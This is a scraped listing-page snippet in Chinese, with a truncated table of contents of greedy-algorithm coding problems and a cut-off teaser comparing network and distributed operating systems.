目錄 1 檸檬水找零 2 將數組和減半的最少操作次數 3 最大數 4 擺動序列 5 最長遞增子序列 6 遞增的三元子序列 7 最長連續遞增序列 8 買賣股票的最佳時機 9 買賣股票的最佳時機 II 10 K 次取反后最大化的數組和 11 按身高排序 12 優勢洗牌 13 最長回文串 14 增減…

網絡操作系統與分布式操作系統的區別

網絡操作系統與分布式操作系統的區別架構設計網絡操作系統&#xff08;NOS&#xff09;基于客戶端-服務器模型&#xff0c;通過共享資源&#xff08;如文件、打印機&#xff09;提供服務&#xff0c;各節點保留獨立的管理和數據處理能力。分布式操作系統&#xff08;DOS&#x…